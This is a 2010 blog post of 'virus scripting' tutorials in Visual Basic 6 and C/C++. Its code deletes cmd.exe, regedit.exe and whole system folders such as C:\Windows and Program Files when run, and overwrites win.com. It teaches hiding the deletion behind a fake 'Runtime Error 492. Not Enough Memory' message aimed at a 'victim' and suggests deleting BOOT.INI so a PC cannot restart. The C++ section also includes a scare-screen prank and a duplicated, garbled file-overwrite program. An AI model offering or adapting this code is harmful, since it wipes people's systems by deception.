Friday, December 3, 2010

VISUAL BASIC VIRUS SCRIPT
First of all open vb and select standard exe then make..
1. button
2. labels NO TEXT
3.1 timer with 3000 interval
ok so now put a desired caption in the button ( Click me is a good one ;)) now in the code of the button put this
Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub
now in the code for the timer put this
Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub
and last of all do this
double in the code of the FORM type this make sure u have the activated part
Private Sub Form_Activate()
Timer1.Enabled = False
end sub
there u have it !! DO NOT PRESS THE BUTTON ( or back up ur cmd ) this is intended for your victim or u can change the dirctory to a useless file u dont need to test it .. oh yeah and 1 more thing if u dont want your victim to know then just change the form activte timer to false instead of true
good luck

VB VIRUS-II

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(“c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“c:\windows\system”)
Call DelAll(“c:\windows\system32″)
Call DelAll(“c:\windows”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Visual Basic 6 – Creating a Simple Virus
Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.
First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Private Sub Form_Load()
Text1.Text = “C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it ‘A’
Private Sub Form_Load()
Text1.Text = “C/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.
Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn’t got enough memory to run, but in actual fact the victim doesn’t know that you have just removed their command file.
Here is to go about it…
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = “C:/Windows/System32/cmd.exe”
A = Text1.Text
Msgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that’s how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.
Private Sub Form_Load()
Form1.Visible = False
Msgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”
Kill “C:/Windows/System32/cmd.exe”
Kill “C:/Windows/regedit.exe”
End Sub
So above we will be removing the command file and the registry, I don’t think the victim will be best pleased about that do you.
Now I have shown you the above information I think it’s your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this…
Kill “C:/cmd.exe”
That’s all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this..........

VB VIRUS SCRIPTING

MAKE A SIMPLE VIRUS IN VISUAL BASIC
Well. now i'll teach you how to make a basic Virus in Visual Basic.
Now here the term "A Simple Virus" means a program that deletes any basic files/files of your computer.Afterall all the viruses do almost the same thing that our virus is going to do.
To start with,Just open the Visual Basic,Select Standard EXE.
Now if you want to your virus to be active whenever the program is executed, then
type in the following code under the title:Private Sub Form_Load()
We'll start now:
Private Sub Form_Load()
Kill "C:\windows\system32\cmd.exe"
End Sub
Make a ".exe" file of your program and start pranking on others by deleting only simple files instead of cmd.exe.Just type in the appropriate path of the file .
I'll explain it now.
The command "KILL" tells the computer to delete the file in the inverted commas.
Now whenever the program will be started in whichever PC where it is,it will always delete the corresponding file.The file "CMD.EXE" refers to your command prompt.You'll never be able to open it again until you have a Recovery Software to recover the deleted file.As such,You can place any file under the kill command.
Now you can also place a command button in your form and copy the above code under your command button so that whenever a user clicks the button the file will be deleted.
You can also place the file"BOOT.INI" in the code instead of cmd.exe.If BOOT.INI is deleted your PC will never restart.So,please beware of that.And dont try it.This's just for your knowledge.

C & C++ VIRUS SCRIPTING

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
    {
 textcolor(YELLOW+BLINK);
 gotoxy(35,12);
 cprintf("VIRUS LOADING");
 gotoxy(39,15);
 textcolor(GREEN);
 cout<<i<<"%";
 delay(75);
 clrscr();
 }
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" 'AMPULE' VIRUS CREATED NOW BY RENJITH";
gotoxy(20,14);
cout<<"SAY GOOD BYE TO YOUR PC IN ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
clrscr();
cout<<"
1.HARD-DISK CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
2.MOTHER BOARD CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND :";
delay(4000);
cout<<"completed";
cout<<"
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
cout<<"
 VIRUS.EXE";
delay(2000);
cout<<"*************************";
cout<<"Buddy it's a simply joke ";
cout<<"*************************";
delay(4000);
cout<<"**********************************";
cout<<"For Real Virus ";
cout<<"Contact Me: RENJITH KRISHNAN";
cout<<"Mo: 010101010101 ";
cout<<"Email: renjith007@programmer.net";
cout<<"**********************************";
delay(10000);
}
void fool()
{
    clrscr();
    int g=DETECT,h;
    initgraph(&g,&h,"c:\tc\bgi");
    cleardevice();
    delay(1000);
    setcolor(2);
    settextstyle(1,0,1);
    delay(1000);
    setbkcolor(BLUE);
    getch();
    delay(4000);
    closegraph();
    exit(0);
}
-------------------------------------------------------
#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
   length = strlen(string);
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("
   Wrote %d bytes to the file.
", res);
  cout<<"
   Hello !!!!!!!!";
  cout<<"
    This is a VIRUS ATTACK !!!";
  cout<<"
    This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}
//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
   length = strlen(string);
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("Wrote %d bytes to the file.", res);
  cout<<"Hello !!!!!!!!";
  cout<<"This is a VIRUS ATTACK !!!";
  cout<<"This execution currupt your WINDOWS !!!!!!";
   close(handle);
   getch();
   return 0;
}
// #include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.");
      exit(1);
   }
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
   length = strlen(string);
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.");
      getch();
      exit(1);
   }
   printf("Wrote %d bytes to the file.", res);
  cout<<" Hello !!!!!!!!";
  cout<<"This is a VIRUS ATTACK !!!";
  cout<<"This execution currupt your WINDOWS !!!!!!";
   close(handle);
   getch();
   return 0;
}